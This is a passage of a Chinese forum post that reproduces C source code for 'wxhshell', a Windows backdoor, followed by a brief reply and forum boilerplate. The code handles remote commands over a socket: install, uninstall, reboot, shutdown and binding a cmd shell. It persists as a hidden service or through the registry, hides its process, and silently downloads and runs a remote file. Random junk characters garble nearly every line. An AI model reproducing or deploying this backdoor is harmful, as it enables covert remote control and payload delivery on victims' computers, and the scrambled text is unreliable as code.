  else 7<*0fy5nn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1^*ogMe  
  }  J]XLWAM  
  else { -j]c(Q MA]  
WeaT42*Q{  
    switch(cmd[0]) { H#D:'B j29  
  ,zr9*t  
  // 帮助 7M7Lj0Y)L  
  case '?': { HR"clD\{Di  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]u!s-=3s  
    break; ZJU %&@  
  } sS;)d  
  // 安装 *$|f9jVh  
  case 'i': { ^|p D(v  
    if(Install()) LH)1IGAx2y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i!*<LIq  
    else +6$+] u]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =}Zl E  
    break; s R>>l3H  
    } f S/:OnH  
  // 卸载 M>Tg$^lm  
  case 'r': { [j5+PV  
    if(Uninstall()) n44 T4q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EyVu-4L:#  
    else m BFNg3_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kP+,x H)1  
    break; /;+\6(+X  
    } fdX|t "oz  
  // 显示 wxhshell 所在路径 ][tR=Y#&y5  
  case 'p': { hU-FSdR  
    char svExeFile[MAX_PATH]; &V$cwB  
    strcpy(svExeFile,"\n\r"); h&CZN !  
      strcat(svExeFile,ExeFile); 2ua!<^,  
        send(wsh,svExeFile,strlen(svExeFile),0); 7yT/t1)  
    break; *EvW: <  
    } )mf|3/o  
  // 重启 l7jen=(Zb;  
  case 'b': { j0~am,yZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }|2A6^FH.  
    if(Boot(REBOOT)) PN?;\k)"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9x!kvB6  
    else { YW6a?f^!  
    closesocket(wsh); )1B? <4  
    ExitThread(0); aaCRZKr  
    } \V!{z;.fA  
    break; Pg:xC9w4  
    } &z40l['4bz  
  // 关机 4gC(zJ  
  case 'd': { @O'NJh{D`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U)Hc 7% e  
    if(Boot(SHUTDOWN)) X>yDj]*4P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Jk$j  
    else { "5<!   
    closesocket(wsh); n nAtXVy  
    ExitThread(0); 035jU'  
    } keRLai7h  
    break; Y)F(-H)  
    } 7F0J*M  
  // 获取shell ,'HjL:r  
  case 's': { RHn3\N  
    CmdShell(wsh); *(1 <J2j  
    closesocket(wsh); -*KKrte  
    ExitThread(0); LYL_Ah'=  
    break; XZ]ji9'  
  } !;(Wm6~*ad  
  // 退出 h[iO'Vq  
  case 'x': { kN1R8|pv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "*D9.LyM  
    CloseIt(wsh); {+_p?8X  
    break; 8g!79q\c4  
    } ~mt{j7  
  // 离开 48^C+#Jbc  
  case 'q': { Vf~-v$YI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O.X;w<F/V  
    closesocket(wsh); ;@ixrj0u  
    WSACleanup(); rZpsC}C'  
    exit(1); 0j4n1 1#  
    break; B-]bhA4|:  
        } \RR` F .7  
  } BWxJ1ENM  
  } "1^tVw|  
y*X.DS 1(w  
  // 提示信息 6>#8 ^{[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WHBGhU  
} X9|*`h<  
  } X)hpbHa  
1ow,'FztPt  
  return; tjRw bnT"  
} 4[x` \  
\ [OB.  
// shell模块句柄 J5Zz*'av'  
int CmdShell(SOCKET sock) $`7Fk%#+e  
{ ysK J=  
STARTUPINFO si; DFQ`(1Q  
ZeroMemory(&si,sizeof(si)); <";1[A%7<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H $Az,-P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oY0b8=[  
PROCESS_INFORMATION ProcessInfo; ibZ[U p?  
char cmdline[]="cmd"; \8<[P(!3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2HBey  
  return 0; aW dI  
} lJ=EP.T  
u;H^4} OQ  
// 自身启动模式 !y~nsy:&7x  
int StartFromService(void) * bYU=RS  
{ 2>^(&95M  
typedef struct ]5QXiF8`  
{ ^_\m@   
  DWORD ExitStatus; `lOW7Z}  
  DWORD PebBaseAddress; ^&86VBP  
  DWORD AffinityMask; v\8v'EDP  
  DWORD BasePriority; H/M]YUs/3  
  ULONG UniqueProcessId; tlD^"eq4:  
  ULONG InheritedFromUniqueProcessId; 5<`83; R9  
}   PROCESS_BASIC_INFORMATION; qzvht4  
QeFt WjlqC  
PROCNTQSIP NtQueryInformationProcess; (n.IK/:  
iOhX\@&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q`'cxx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3=oxT6"k  
fA<os+*9i  
  HANDLE             hProcess; [Q8Wy/o Q  
  PROCESS_BASIC_INFORMATION pbi; SC%HHu\l  
hM!g6\ w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zj2y=A| Y  
  if(NULL == hInst ) return 0; !m~r0M7  
%pOxt<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9#1?Pt^{<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s 7w A3|9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h@*I(ND<  
~a2|W|?  
  if (!NtQueryInformationProcess) return 0; %hBwc#^  
q({-C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  q9{ h@y  
  if(!hProcess) return 0; ltk ARc3  
:d35?[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TAOsg0  
;PG= 3j_  
  CloseHandle(hProcess); vv2[t  
}jC^&%|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E A55!  
if(hProcess==NULL) return 0; 0[d*Z  
AU)\ lyB  
HMODULE hMod; ! jAp V  
char procName[255]; QR(;a:  
unsigned long cbNeeded; hP WP6;Z  
S2|pn\0V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V\L%*6O  
&$2d=q8mh  
  CloseHandle(hProcess); E>-I |X"L1  
G?b*e|@S  
if(strstr(procName,"services")) return 1; // 以服务启动 OY81|N j  
6 F39'  
  return 0; // 注册表启动 #+_=(J  
} KwaxNb5  
T zS?WYF  
// 主模块 ,d lq2  
int StartWxhshell(LPSTR lpCmdLine) i9qIaG/  
{ sl@>GbnS  
  SOCKET wsl; 4HZXv\$  
BOOL val=TRUE; 2 #yDVN$  
  int port=0; VuTTWBx  
  struct sockaddr_in door; HbPn<x^7  
6hR ` sE  
  if(wscfg.ws_autoins) Install(); C7W<7DBf  
<3j`Z1J  
port=atoi(lpCmdLine); c+z [4"rYL  
x<rS2d-Y  
if(port<=0) port=wscfg.ws_port; P~lU`.X}  
=vF!  
  WSADATA data; +3XaAk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .]4MtG  
9a+Y )?z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hq gg*4#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y<nPZ<h  
  door.sin_family = AF_INET; uJ0'`Q?6R9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nvwf!iU6  
  door.sin_port = htons(port); [FF}HWf  
^C~R)M:C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FAc^[~E  
closesocket(wsl); jK[*_V  
return 1; '`<Fys&:  
} #1*7eANfr  
4bw4!z9G  
  if(listen(wsl,2) == INVALID_SOCKET) { nJYIkfdA  
closesocket(wsl); IaO R%B g  
return 1; EBL-+%J8  
} ,UVu.RjXN  
  Wxhshell(wsl); @x!+_z  
  WSACleanup(); ,H.5TQ#  
h0dZr-c  
return 0; -(lP8Y~gFY  
kmu`sk"  
} 9I<~t@q5e@  
}!Pty25j  
// 以NT服务方式启动 umnQ$y 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +rSU  
{ CSW+UaE  
DWORD   status = 0; Gl|n}wo$  
  DWORD   specificError = 0xfffffff; B6Ajcfy  
\k"CtzoX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q o^mp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~UeTV?)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XHJ` C\xR  
  serviceStatus.dwWin32ExitCode     = 0; YIgHLM(  
  serviceStatus.dwServiceSpecificExitCode = 0; \ %MsG  
  serviceStatus.dwCheckPoint       = 0; [YODyf}M>\  
  serviceStatus.dwWaitHint       = 0; :O&jm.2m  
T2rBH]5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iV#A-9  
  if (hServiceStatusHandle==0) return; [\h?mlG?  
PP!-*~F0Jr  
status = GetLastError(); A X1!<K  
  if (status!=NO_ERROR) ?fC9)s  
{ .Oc j|A6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (.Ak*  
    serviceStatus.dwCheckPoint       = 0;  CDuA2e  
    serviceStatus.dwWaitHint       = 0; *pnaj\  
    serviceStatus.dwWin32ExitCode     = status; Uz rf,I[  
    serviceStatus.dwServiceSpecificExitCode = specificError; w8UUeF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t18j2P>`  
    return; EVaHb;  
  } K*,,j\Q.  
),Yk53G6c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /5L\:eX%  
  serviceStatus.dwCheckPoint       = 0; ?mK&Slh.  
  serviceStatus.dwWaitHint       = 0; 3pW4Ul@e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H-u SdT  
} d2gYB qag  
GRofOJ  
// 处理NT服务事件,比如:启动、停止 2&]LZ:(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )Qe]!$tqfD  
{ I 2OQ  
switch(fdwControl) 5cU:wc  
{ =6=:OId  
case SERVICE_CONTROL_STOP: 's5rl  
  serviceStatus.dwWin32ExitCode = 0; ~QPTs1Vk8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B B69U  
  serviceStatus.dwCheckPoint   = 0; -}!mi V  
  serviceStatus.dwWaitHint     = 0; OX]P;#4tU  
  { BaIuOZ@,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s]kzXzRC?  
  } c[ 0`8s!  
  return; P,-5af*;  
case SERVICE_CONTROL_PAUSE: 8>x' . 8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L1g0Dd\Ox  
  break; bE2O[B  
case SERVICE_CONTROL_CONTINUE: I"3C/ pU2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6H  U*,  
  break; ZADMtsk  
case SERVICE_CONTROL_INTERROGATE: ZS]Z0iZv9  
  break; G'w!Aw s  
}; ?)k ]Vg.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \.H9e/vU`  
} Z^4+ 88  
+O9x8OPHW  
// 标准应用程序主函数 ZbdGI@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >D~8iuy]8.  
{ h2Th)&Fb>  
&^HVuYa.0  
// 获取操作系统版本 v_/<f&r  
OsIsNt=GetOsVer(); @b^$h:H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lic-68T  
HOPy&Fp  
  // 从命令行安装 x@bqPZ t  
  if(strpbrk(lpCmdLine,"iI")) Install(); oZ tCx  
X;)/<:mX  
  // 下载执行文件 yx4pQL7  
if(wscfg.ws_downexe) { g:y4C6b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `0M6<e]C  
  WinExec(wscfg.ws_filenam,SW_HIDE); k[a<KbS  
} {}Is&^3Z  
aD'Ax\-  
if(!OsIsNt) { CX\XaM)l  
// 如果时win9x,隐藏进程并且设置为注册表启动  ^QJJ2jZ  
HideProc(); +s8R]3NJ_H  
StartWxhshell(lpCmdLine); Xfqin4/jC  
} 3^ y<Db  
else o'(BL:8s  
  if(StartFromService()) 6g" h}p\{S  
  // 以服务方式启动 [' pO=ho  
  StartServiceCtrlDispatcher(DispatchTable); 0hGmOUO  
else U Xpp1/d|e  
  // 普通方式启动 vF'>?O?  
  StartWxhshell(lpCmdLine); u "k< N|.3  
oxL<\4)WJ  
return 0; dc1Zh W4  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五